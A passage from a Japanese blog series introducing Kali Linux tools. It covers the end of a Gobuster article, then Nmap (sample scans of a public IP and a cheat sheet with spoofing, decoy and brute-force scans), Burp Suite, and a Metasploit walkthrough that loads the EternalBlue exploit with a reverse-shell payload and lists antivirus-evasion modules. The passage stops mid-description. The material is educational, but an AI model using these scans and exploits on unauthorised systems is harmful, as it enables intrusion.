次に、公開範囲の棚卸しを行いたい場面でも有効です。システム更改後や設定変更後に、想定外のディレクトリやサブドメインが露出していないかを確認する用途では、防御側のツールとして非常に有用です。外部からどう見えるかを確認できる点が大きな価値になります。

一方で、Gobusterが向いていない場面もあります。アプリケーションの内部ロジックを理解したい場合や、入力値の検証、認証・認可の不備を調べたい場合には、別のツールや手作業が必要になります。Gobusterは「入口を探す」ツールであり、「中身を分析する」ツールではありません。

また、時間や負荷に制約がある環境では、無条件に実行すべきではありません。探索対象やワードリストを絞らずに実行すると、不要なノイズを増やすだけでなく、関係者に誤解を与える可能性もあります。

Gobusterは、偵察フェーズにおいて「何を次に調べるべきか」を判断するためのツールです。使うタイミングと目的を誤らなければ、少ない労力で大きな示唆を与えてくれる、非常にコストパフォーマンスの高いツールと言えるでしょう。


まとめ

Gobusterは、WebアプリケーションやDNSに対して「何が存在しているのか」を高速に洗い出すことに特化した、偵察フェーズの代表的なツールです。脆弱性を直接突くのではなく、次の判断に必要な材料を揃えるという点に、その本質的な価値があります。

Go言語による軽量かつ高速な実装、機能を絞り込んだ設計、そしてシンプルな操作性により、Gobusterは現在でも多くの現場で使われ続けています。一方で、その結果はワードリストや実行条件に強く依存するため、出力された情報をどう解釈し、どう活用するかは使い手に委ねられます。

Gobusterは攻撃者だけのツールではありません。防御側が自らの公開範囲を把握し、設定ミスや想定外の露出を確認するためのチェックツールとしても有効です。攻撃と防御の境界に立つツールだからこそ、Kali Linuxに標準で含まれていると言えるでしょう。

重要なのは、Gobusterを単体で完結させないことです。他の偵察・解析ツールと組み合わせ、全体の流れの中で使うことで、初めてその真価が発揮されます。Gobusterは「速く、広く、淡々と確認する」ための道具であり、その役割を正しく理解することが、効果的なセキュリティ検証への第一歩となります。


▼ 関連記事(Kali Toolsシリーズ)

▼ 関連記事(blog.b-son.net)

Kali Tools #012|Nmap:ネットワーク探索とポートスキャンの基本ツール

※本記事は学習用途・自己所有環境のみを対象とし、他者環境への無断スキャンは不正アクセス禁止法に該当します。

ネットワーク診断や脆弱性調査を行う上で、最も基礎となるのが「Nmap(Network Mapper)」です。

ポートスキャン、サービス検出、OS推定など、攻撃者も防御者も必ず使う定番ツールで、Kali Linuxに標準搭載されています。

この記事では、Nmapの基本的な使い方と代表的なスキャン手法を、初学者にも分かりやすく解説します。

Nmapとは何か

歴史

Nmap(Network Mapper)は、1997年に Gordon Lyon(通称 Fyodor)氏によって公開されたネットワークスキャナです。登場当初から UNIX 系システム管理者やセキュリティ専門家に支持され、のちに Windows や macOS 版も整備されることで一気に普及しました。Nmap はオープンソースとして活発に開発が続けられ、現在では世界中の企業・研究機関・教育機関で日常的に使われる“事実上の標準ツール”となっています。


Kali Linuxでの位置づけ

Kali Linux は情報セキュリティ向けディストリビューションとして、多数の調査・攻撃ツールを標準搭載しています。その中で Nmap は 情報収集フェーズを支える基盤ツールとして扱われています。

ポートスキャン、サービス検出、OS推定といった機能は、多くの高度ツール(Metasploit、OpenVAS、Nessus など)の前段階として不可欠であり、Kali Linux の利用者はほぼ例外なく Nmap を使用します。

その意味で Nmap は「Kali の基本操作を習得する上で最初に理解すべき重要ツール」と言ってよい存在となっています。


防御/攻撃どちらにも使われる理由

Nmap が攻撃者にも防御者にも利用されるのは、「ネットワークの実態を正確に把握できる」という中立的な機能を持つためです。


防御側(ブルーチーム)

 ・不要なサービスや危険なポートの洗い出し

 ・構成情報の棚卸し

 ・脆弱なバージョンの発見


攻撃側(レッドチーム/ペンテスター)

 ・侵入可能な入口(attack surface)の特定

 ・公開サービスの種類とバージョン確認

 ・後続の攻撃に使える情報の収集


どちらも「対象ネットワークの地図を描き、弱点を把握する」という目的であり、Nmap はそのための 事前偵察の中心ツールとして活用されています。


Nmapの特徴

  • フレキシブル:IPフィルタ、ファイアウォール、ルータなどの障害物で満たされたネットワークをマッピングするための何十もの高度な技術をサポートします。これには、多くのポートスキャンメカニズム(TCPとUDPの両方)、OS検出、バージョン検出、Pingスイープなどが含まれます。ドキュメントのページをご覧ください。

  • パワフル:Nmapは、文字通り何十万台ものマシンからなる巨大なネットワークのスキャンに使われてきた。

  • ポータブル:Linux、Microsoft Windows、FreeBSD、OpenBSD、Solaris、IRIX、Mac OS X、HP-UX、NetBSD、Sun OS、Amigaなど、ほとんどのOSに対応している。

  • 簡単:Nmapはパワーユーザ向けの高度な機能を豊富に備えているが、最初は「nmap -v -A targethost」程度の簡単な操作で始められる。従来のコマンドライン版とグラフィカル(GUI)版の両方が用意されているので、好みに応じて使い分けることができる。Nmapをソースからコンパイルしたくない人のために、バイナリも用意されている。

  • フリー:Nmapプロジェクトの主な目標は、インターネットの安全性を少しでも高めること、および管理者/監査人/ハッカーにネットワークを調査するための高度なツールを提供することである。Nmapは無料でダウンロードでき、完全なソースコードも付属しているので、ライセンスの条件に従って変更したり再配布したりすることができる。

  • ドキュメントが充実:包括的で最新のマニュアルページ、ホワイトペーパー、チュートリアル、さらには書籍に至るまで、多大な努力が払われている。複数の言語で提供されていますので、ぜひご覧ください。

  • サポート:Nmapには保証がついていないが、開発者とユーザの活気あるコミュニティによって十分にサポートされている。サポートのほとんどは、Nmapのメーリングリストで行われている。ほとんどのバグレポートや質問は、nmap-devメーリングリストに送るべきですが、ガイドラインを読んだ後にしてください。すべてのユーザーには、トラフィックの少ないnmap-hackersアナウンスメントリストを購読することをお勧めします。また、NmapはFacebookやTwitterでもご覧いただけます。リアルタイムのチャットは、FreenodeまたはEFNetの#nmapチャンネルに参加してください。

  • 賞を受賞:Nmapは、Linux Journal、Info World、Codetalker Digestの「Information Security Product of the Year」など、数多くの賞を受賞している。また、何百もの雑誌記事、いくつかの映画、何十冊もの書籍、1つのコミックシリーズでも紹介されている。詳細はプレスページをご覧ください。

  • 人気がある:毎日、何千人もの人々がNmapをダウンロードしており、多くのオペレーティングシステム(Redhat Linux、Debian Linux、Gentoo、FreeBSD、OpenBSDなど)に搭載されている。また、Freshmeat.Netのリポジトリでは、(30,000個のうちの)上位10個のプログラムに入っている。このことは、Nmapの開発およびユーザサポートコミュニティが活発であることを意味している。



基本コマンド

 ターゲットIP(59.152.32.35)の解放ポート検索例

# nmap 59.152.32.35
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 20:02 JST
Nmap scan report for 59.152.32.35
Host is up (0.052s latency).
Not shown: 993 closed ports
PORT    STATE    SERVICE
22/tcp  open     ssh
80/tcp  open     http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
179/tcp open     bgp
443/tcp open     https
445/tcp filtered microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 2.71 seconds


ターゲットIP(59.152.32.35)の検索例 ※バージョン情報も取得するパターン

# nmap -sV 59.152.32.35
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 20:03 JST
Nmap scan report for 59.152.32.35
Host is up (0.050s latency).
Not shown: 993 closed ports
PORT    STATE    SERVICE      VERSION
22/tcp  open     ssh          OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp  open     http         nginx
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
179/tcp open     tcpwrapped
443/tcp open     ssl/http     nginx
445/tcp filtered microsoft-ds
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds


ー2021/12/29追記ー

A little bit about Nmap

Nmapコマンドを簡単にまとめます。

Scan typeCommand
Discovery - ARP Scansudo nmap -PR -sn Target_IP/24
Discovery - ICMP Echo Scansudo nmap -PE -sn Target_IP/24
Discovery - ICMP Timestamp Scansudo nmap -PP -sn Target_IP/24
Discovery - ICMP Address Mask Scansudo nmap -PM -sn Target_IP/24
Discovery -TCP SYN Ping Scansudo nmap -PS22,80,443 -sn Target_IP/30
Discovery - TCP ACK Ping Scansudo nmap -PA22,80,443 -sn Target_IP/30
Discovery - UDP Ping Scansudo nmap -PU53,161,162 -sn Target_IP/30
Port Scan - TCP Connect Scannmap -sT Target_IP
Port Scan - TCP SYN Scansudo nmap -sS Target_IP
Port Scan - UDP Scansudo nmap -sU Target_IP
Port Scan - TCP Null Scansudo nmap -sN Target_IP
Port Scan - TCP FIN Scansudo nmap -sF Target_IP
Port Scan - TCP Xmas Scansudo nmap -sX Target_IP
Port Scan - TCP Maimon Scansudo nmap -sM Target_IP
Port Scan - TCP ACK Scansudo nmap -sA Target_IP
Port Scan - TCP Window Scansudo nmap -sW Target_IP
Port Scan - Custom TCP Scansudo nmap --scanflags URGACKPSHRSTSYNFIN Target_IP
Port Scan - Spoofed Source IPsudo nmap -S SPOOFED_IP Target_IP
Port Scan - Spoofed MAC Addresssudo nmap -sT --spoof-mac SPOOFED_MAC Target_IP
Port Scan - Decoy Scansudo nmap -D DECOY_IP,Target_IP
Port Scan - Idle (Zombie) Scansudo nmap -sI ZOMBIE_IP Target_IP
Port Scan - Fragment IP data into 8 bytes-f
Port Scan - Fragment IP data into 16 bytes-ff
Port Scan - Service Detectionsudo nmap -sV --version-light Target_IP
Port Scan - OS Detectionsudo nmap -sS -O Target_IP
Port Scan - Traceroutesudo nmap -sS --traceroute Target_IP
Port Scan - Default scriptssudo nmap -sS -sC Target_IP
Port Scan - FTP Brute force scriptssudo nmap -sS -n --script "ftp-brute" Target_IP

すべての有用なパラメータの概要、パラメータを含む表。

OptionMeaning
-snhost discovery only
-nno DNS lookup
-RDNS lookup for all hosts
-p-scan all ports
-p1-1023port range, from 1 to 1023
-Ftop 100 most common ports
-rscan ports in consecutive order
-T<0-5>scan timing, T0 - slowest, T5 fastest
--max-rate 20rate <= 20 packets/sec
--min-rate 10rate >= 15 packets/sec
-vverbose mode
-vvvery verbose mode
-ddebugging
-dddetailed debugging
--reasonadd more info from Nmap about decision it takes
-sVversion of service detected on open port
-sV --version-lightamount of version probes (2)
-sV --version-allall available probes (9)
-Odetect OS
--tracerouterun traceroute to target
--script=SCRIPTSNmap scripts to run
-sC or --script=defaultrun default scripts
-Aequivalent to -sV -O -sC --traceroute
-oNsave output in normal format
-oGsave output in grepable format
-oXsave output in XML format
-oAsave output in normal, XML and Grepable formats

使用例

# sudo nmap -O -sV --version-intensity 5 --traceroute -oA /tmp/scan_output 192.168.1.1

ー2024/3/18追記ー

Nmapチートシート

Kali Tools #011|Burp Suite:Web脆弱性診断の必須ローカルプロキシ

※本記事は学習用途・自己所有環境のみを対象とし、他者環境への無断スキャンは不正アクセス禁止法に該当します。

Burp Suite はWebアプリ診断の中心となるローカルプロキシツールです。通信の可視化・改ざん・再送・自動スキャンを一体で扱えるため、手動診断から高度な検証まで一気通貫で実施できます。Kali Linux標準搭載で、導入も容易です。

■ Burp Suite とは

Burp Suite は、Webアプリケーションの脆弱性診断に広く利用されている統合プロキシツールです。
ブラウザとサーバー間の通信をローカルプロキシで中継し、
リクエスト・レスポンスの可視化/改ざん/再送/自動スキャン
といった一連の操作をまとめて行えるのが最大の特徴です。

Kali Linux にも標準で収録されており、Web診断の“中心ツール”として常に名前が挙がります。

入手先はコチラ


■ Burp Suite の主な構成

Burp Suite は複数の機能モジュールで構成されています。
代表的なものは次のとおりです。

● Proxy

ブラウザとサーバーの通信を傍受し、内容を解析・改変できる Burp Suite の中心機能。
Intercept(通信の一時停止)を ON にすると、送受信前に通信内容を自由に編集できます。

● Repeater

個別のリクエストを手動で繰り返し送信し、レスポンスの変化を確認するツール。
パラメータの調整や攻撃の再現に非常に便利です。

● Intruder

多数のパラメータを自動生成して送信する攻撃シミュレーションツール。
ブルートフォース、Fuzzing、パラメータ汚染などの検証に利用されます。

● Scanner(有料版)

自動脆弱性スキャン機能。
クロスサイトスクリプティング、SQLインジェクション、CSRFなど
主要な脆弱性を自動で検出してくれます。

● Decoder / Comparer / Sequencer

  • 文字列のデコード・エンコード

  • 2つのレスポンス比較

  • セッションIDのランダム性分析

など、診断作業を補助するツール群です。


■ よく使う基本操作

● Intercept ON/OFF

通信を一時停止して内容を確認・編集。
ログインフォーム、Cookie、ヘッダ情報などの解析に必須。

● Send to Repeater

気になるリクエストは右クリック → Repeater へ送って
何度でも再送信しながら差分を観察できます。

● Send to Intruder

ブルートフォースやパラメータ操作時に使用。
対象パラメータを選択 → Payload を設定 → 自動送信。


■ 何ができるのか(Use Case)

  • 認証・セッション管理の検証

  • XSS / SQLi の再現・確認

  • パラメータの強制変更

  • API の挙動解析

  • 非推奨メソッドの確認

  • エラーメッセージ解析

  • HTTPヘッダの改ざん

  • セッションIDの強度分析

Webアプリ診断に必要な機能がほぼすべて揃っています。


■ まとめ

Burp Suite は、プロキシ・解析・攻撃再現を一体化したWeb脆弱性診断の定番ツールです。
Kali Linux に標準搭載されているため導入も簡単で、手動診断から自動スキャンまで幅広く活用できます。




Kali Tools #010|Metasploit Framework:脆弱性診断を自動化する攻撃テスト基盤

 Metasploit の紹介

Metasploit は、最も広く使われているエクスプロイト・フレームワークです。Metasploitは、情報収集からエクスプロイト後まで、侵入テストのすべてのフェーズをサポートできる強力なツールです。

Metasploitには主に2つのバージョンがあります:

  • Metasploit Pro: タスクの自動化と管理を容易にする商用バージョン。このバージョンにはグラフィカル・ユーザー・インターフェース(GUI)があります。

  • Metasploit Framework:コマンドラインから動作するオープンソース版。今回は無料で使えるこちらをベースに進めます。

Metasploit Frameworkは、情報収集、スキャン、エクスプロイト、エクスプロイト開発、ポストエクスプロイトなどを可能にするツールのセットです。Metasploit Frameworkの主な用途は侵入テスト領域ですが、脆弱性調査やエクスプロイト開発にも役立ちます。

Metasploit Frameworkの主なコンポーネントをまとめると、以下のようになります;;

  • msfconsole: メインのコマンドラインインターフェイス。
  • Modules: エクスプロイト、スキャナ、ペイロードなどのサポートモジュール。
  • Tools: 脆弱性調査、脆弱性評価、侵入テストを支援するスタンドアロンツール。msfvenom、pattern_create、pattern_offsetなどがあります。

Metasploitの主な構成要素

Metasploit Framework を使用している間は、主に Metasploit コンソールを使用します。コンソールはmsfconsole コマンドを使って起動できます。コンソールは、Metasploit Framework の様々なモジュールと対話するための主要なインターフェースとなります。モジュールとは、Metasploit フレームワーク内の小さなコンポーネントで、脆弱性の利用、ターゲットのスキャン、ブルートフォース攻撃の実行など、特定のタスクを実行するために構築されています。

モジュールに入る前に、「脆弱性」、「エクスプロイト」、「ペイロード」という、今後頻繁に出てくる用語を整理しておきましょう。

  • エクスプロイト: ターゲット・システムに存在する脆弱性を利用するコードの一部。

  • 脆弱性: ターゲット・システムに影響を及ぼす設計、コーディング、ロジックの欠陥。脆弱性が悪用されると、機密情報が開示されたり、攻撃者がターゲット・システム上でコードを実行できるようになったりする。

  • ペイロード: ターゲットシステム上で実行されるコードのこと。

それぞれのモジュールとカテゴリを以下に示します。Metasploit コンソール (msfconsole) を使って操作することが可能です。


Auxiliary

scanners、crawlers、fuzzersなどのサポート・モジュールがあります。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 auxiliary/
auxiliary/
├── admin
├── analyze
├── bnat
├── client
├── cloud
├── crawler
├── docx
├── dos
├── example.py
├── example.rb
├── fileformat
├── fuzzers
├── gather
├── parser
├── pdf
├── scanner
├── server
├── sniffer
├── spoof
├── sqli
├── voip
└── vsploit

21 directories, 2 files


Encoders 

Encoders は、シグネチャベースのアンチウイルスソリューションがそれらを見逃すことを期待して、エクスプロイトとペイロードをエンコードすることを可能にします。

シグネチャベースのアンチウイルスおよびセキュリティソリューションには、既知の脅威のデータベースがあります。疑わしいファイルをこのデータベースと比較することで脅威を検出し、一致した場合に警告を発します。ウイルス対策ソリューションが追加のチェックを行うことができるため、エンコーダの成功率は限られたものになります。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 encoders/
encoders/
├── cmd
├── generic
├── mipsbe
├── mipsle
├── php
├── ppc
├── ruby
├── sparc
├── x64
└── x86

11 directories, 0 files

Evasion

エンコーダーはペイロードをエンコードしますが、アンチウイルスソフトを回避する直接的な試みとはみなされるべきではありません。一方、「evasion(回避)」モジュールは、多かれ少なかれそれを試みます。

$ cd /usr/share/metasploit-framework/modules | tree -L 2 evasion/
evasion/
└── windows
    ├── applocker_evasion_install_util.rb
    ├── applocker_evasion_msbuild.rb
    ├── applocker_evasion_presentationhost.rb
    ├── applocker_evasion_regasm_regsvcs.rb
    ├── applocker_evasion_workflow_compiler.rb
    ├── process_herpaderping.rb
    ├── syscall_inject.rb
    ├── windows_defender_exe.rb
    └── windows_defender_js_hta.rb

2 directories, 9 files

Exploits

標的となるシステムごとに整理されています。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 exploits/
exploits/
├── aix
├── android
├── apple_ios
├── bsd
├── bsdi
├── dialup
├── example_linux_priv_esc.rb
├── example.py
├── example.rb
├── example_webapp.rb
├── firefox
├── freebsd
├── hpux
├── irix
├── linux
├── mainframe
├── multi
├── netware
├── openbsd
├── osx
├── qnx
├── solaris
├── unix
└── windows

21 directories, 4 files

NOPs

NOPs(No OPeration)は文字通り何もしません。インテルx86 CPUファミリでは0x90で表され、これ以降CPUは1サイクルの間何もしません。ペイロードサイズを一定にするためのバッファとしてよく使われます。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 nops/
nops/
├── aarch64
├── armle
├── cmd
├── mipsbe
├── php
├── ppc
├── sparc
├── tty
├── x64
└── x86

11 directories, 0 files

Payloads

ペイロードとは、ターゲット・システム上で実行されるコードのことで す。

エクスプロイトはターゲットシステムの脆弱性を活用しますが、望ましい結果を得るためにはペイロードが必要です。例えば、シェルの取得、ターゲットシステムへのマルウェアやバックドアのロード、コマンドの実行、侵入テストレポートに追加する概念実証としてのcalc.exeの起動などが考えられます。calc.exeアプリケーションを起動することで、ターゲットシステム上で電卓をリモートで起動することは、ターゲットシステム上でコマンドを実行できることを示す良性の方法です。

ターゲットシステム上でコマンドを実行することは既に重要なステップですが、ターゲットシステム上で実行されるコマンドを入力できる対話型接続を持つことは、より良いことです。このような対話型のコマンドラインは「シェル」と呼ばれます。Metasploit は、ターゲットシステム上でシェルを開くことができる様々なペイロードを送信する機能を提供します。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 payloads/
payloads/
├── adapters
├── singles
├── stagers
└── stages

5 directories, 0 files

payloadsの下に、adapters、singles、stagers、stagesの4つの異なるディレクトリがあります。

  • Adapters: adapter は単一のペイロードをラップして、異なる形式に変換します。例えば、通常のシングルペイロードはPowershell adapterの中にラップすることができ、これによりペイロードを実行する単一のpowershellコマンドが作成されます。

  • Singles: 実行するために追加のコンポーネントをダウンロードする必要のない、自己完結型のペイロード(ユーザーの追加、notepad.exe の起動など)。

  • Stagers: Metasploitとターゲットシステム間の接続チャネルを設定します。ステージングされたペイロードを扱うときに便利です。「ステージングされたペイロード」は、まずターゲットシステム上にstagerをアップロードし、その後ペイロードの残りの部分(stage)をダウンロードします。これにより、ペイロードの初期サイズが一度に送信される完全なペイロードに比べて比較的小さくなるため、いくつかの利点があります。

  • Stage : stagerによってダウンロードされる。これにより、より大きなサイズのペイロードを使用できるようになります。

Post

Post モジュールは、上記の侵入テスト・プロセスの最終段階である「侵入後」に役立ちます。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 post/
post/
├── aix
├── android
├── apple_ios
├── bsd
├── firefox
├── hardware
├── linux
├── multi
├── networking
├── osx
├── solaris
└── windows

13 directories, 0 files

Msfconsole

前述したように、コンソールは Metasploit Framework へのメインインターフェイスになります。Metasploit Frameworkがインストールされたシステム上でmsfconsoleコマンドを使って起動することができます。

$ msfconsole
Metasploit tip: Enable HTTP request and response logging with set HttpTrace
true

                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            https://metasploit.com


       =[ metasploit v6.4.18-dev                          ]
+ -- --=[ 2437 exploits - 1255 auxiliary - 429 post       ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

起動すると、コマンドラインが msf6 (インストールされている Metasploit のバージョンによっては msf5) に変わるのがわかるでしょう。Metasploitコンソール(msfconsole)は、以下のように通常のコマンドラインシェルと同じように使うことができます。最初のコマンドは ls で、msfconsole コマンドを使って Metasploit を起動したフォルダの中身を一覧表示します。

続いて、GoogleのDNS IPアドレス(8.8.8.8)にpingを送信します。-c 1オプションを追加しないと、CTRL+Cで停止するまでpingプロセスが続きます。

msf6 > ls
[*] exec: ls

auxiliary  encoders  evasion  exploits  nops  payloads  post  README.md
msf6 > ping -c 1 8.8.8.8
[*] exec: ping -c 1 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=108 time=95.3 ms

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 95.286/95.286/95.286/0.000 ms
msf6 >

これは、clear(ターミナル画面をクリアする)を含むほとんどのLinuxコマンドをサポートしますが、以下のように、通常のコマンドラインのいくつかの機能を使用することはできません(例えば、出力のリダイレクトをサポートしていません)。

msf6 > help > help.txt
[-] No such command
msf6 >

ちなみに、helpコマンドは単独で使うことも、特定のコマンドに対して使うこともできます。以下は、これから取り上げるセットコマンドのヘルプメニューで す。

msf6 > help set
Usage: set [options] [name] [value]

Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from `show payloads'.

OPTIONS:

    -c, --clear   Clear the values, explicitly setting to nil (default)
    -g, --global  Operate on global datastore variables
    -h, --help    Help banner.

msf6 >

history コマンドを使えば、以前に入力したコマンドを見ることができます。

msf6 > history
1   search smtp_version
・
・
・
59  show options
60  quit
61  ls
62  ping -c 1 8.8.8.8
63  help > help.txt
64  help set
65  history
msf6 >

msfconsole の重要な機能は、タブ補完のサポートです。これは後で Metasploit コマンドを使ったり、モジュールを扱ったりするときに便利です。例えば、「he」と入力し始め、タブキーを押すと、自動で補完されるのがわかります。

Msfconsoleはコンテキストで管理されます。つまり、グローバル変数として設定しない限り、使用するモジュールを変更すると、すべてのパラメータ設定が失われます。以下の例では、ms17_010_eternalblueエクスプロイトを使用し、RHOSTSなどのパラメータを設定しています。別のモジュール(ポートスキャナーなど)に切り替えた場合、行ったすべての変更がms17_010_eternalblue exploitのコンテキストに残るため、RHOSTS値を再度設定する必要があります。

この機能をよりよく理解するために、以下の例を見てみましょう。ここでは、説明のためにMS17-010「Eternalblue」エクスプロイトを使用します。

use exploit/windows/smb/ms17_010_eternalblueコマンドを入力すると、コマンド・ライン・プロンプトがmsf6から「msf6 exploit(windows/smb/ms17_010_eternalblue)」に変わるのがわかります。「EternalBlue」は、米国家安全保障局(N.S.A.)が開発したとされるエクスプロイトで、多数のWindowsシステム上のSMBv1サーバーに影響する脆弱性です。SMB(Server Message Block)は、ファイル共有やプリンターへのファイル送信など、Windowsネットワークで広く使われています。EternalBlueは2017年4月にサイバー犯罪者グループ「Shadow Brokers」によってリークさ れました。2017年5月、この脆弱性はWannaCryランサムウェア攻撃において世界中で悪用されました。

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

使用するモジュールは、useコマンドの後に検索結果の行頭の番号を続けて入力しても選択できます。

プロンプトは変わりましたが、以前紹介したコマンドはまだ実行できることにお気づきでしょう。これは、オペレーティング・システムのコマンドラインで通常期待されるように、フォルダを「入力」していないことを意味します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > ls
[*] exec: ls

auxiliary  encoders  evasion  exploits  nops  payloads  post  README.md
msf6 exploit(windows/smb/ms17_010_eternalblue) >

プロンプトが、これから作業するコンテキストが設定されたことを教えてくれます。これは、show optionsコマンドを入力することで確認できます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

これは、先に選択したエクスプロイトに関連するオプションを表示するものです。show optionsコマンドは、使用するコンテキストによって出力が異なります。上記の例では、このエクスプロイトではRHOSTSやRPORTなどの変数を設定する必要があることを示しています。

showコマンドは、モジュールの種類(auxiliary、payload、exploitなど)の後に続けて、利用可能なモジュールを一覧表示する任意のコンテキストで使用できます。以下の例では、ms17-010 Eternalblueエクスプロイトで使用できるペイロードを一覧表示しています。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                              .                normal  No     Custom Payload
   1   payload/generic/shell_bind_aws_ssm                  .                normal  No     Command Shell, Bind SSM (via AWS API)
   2   payload/generic/shell_bind_tcp                      .                normal  No     Generic Command Shell, Bind TCP Inline
  ・
  ・
  ・
   71  payload/windows/x64/vncinject/reverse_tcp_uuid      .                normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   72  payload/windows/x64/vncinject/reverse_winhttp       .                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   73  payload/windows/x64/vncinject/reverse_winhttps      .                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

msf6 exploit(windows/smb/ms17_010_eternalblue) >

msfconsole プロンプトから使用すると、show コマンドはすべてのモジュールを一覧表示します。

これまで見てきたuseとshow optionsコマンドは、Metasploitのすべてのモジュールで同じです。

backコマンドを使えば、コンテキストから抜けることができます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 >

モジュールの詳細情報は、そのモジュールのコンテキスト内でinfoコマンドをタイプすることで得られます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > info

       Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
     Module: exploit/windows/smb/ms17_010_eternalblue
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2017-03-14

Provided by:
  Equation Group
  Shadow Brokers
  sleepya
  Sean Dillon <sean.dillon@risksense.com>
  Dylan Davis <dylan.davis@risksense.com>
  thelightcosine
  wvu <wvu@metasploit.com>
  agalway-r7
  cdelafuente-r7
  cdelafuente-r7
  agalway-r7

Available targets:
      Id  Name
      --  ----
  =>  0   Automatic Target
      1   Windows 7
      2   Windows Embedded Standard 7
      3   Windows Server 2008 R2
      4   Windows 8
      5   Windows 8.1
      6   Windows Server 2012
      7   Windows 10 Pro
      8   Windows 10 Enterprise Evaluation

Check supported:
  Yes

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
                                            sing-metasploit.html
  RPORT          445              yes       The target port (TCP)
  SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Serv
                                            er 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  SMBPass                         no        (Optional) The password for the specified username
  SMBUser                         no        (Optional) The username to authenticate as
  VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2
                                            008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Wi
                                            ndows 7, Windows Embedded Standard 7 target machines.

Payload information:
  Space: 2000

Description:
  This module is a port of the Equation Group ETERNALBLUE exploit, part of
  the FuzzBunch toolkit released by Shadow Brokers.

  There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
  is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
  DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
  is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
  completed in srvnet!SrvNetWskReceiveComplete.

  This exploit, like the original may not trigger 100% of the time, and should be
  run continuously until triggered. It seems like the pool will get hot streaks
  and need a cool down period before the shells rain in again.

  The module will attempt to use Anonymous login, by default, to authenticate to perform the
  exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
  those instead.

  On some systems, this module may cause system instability and crashes, such as a BSOD or
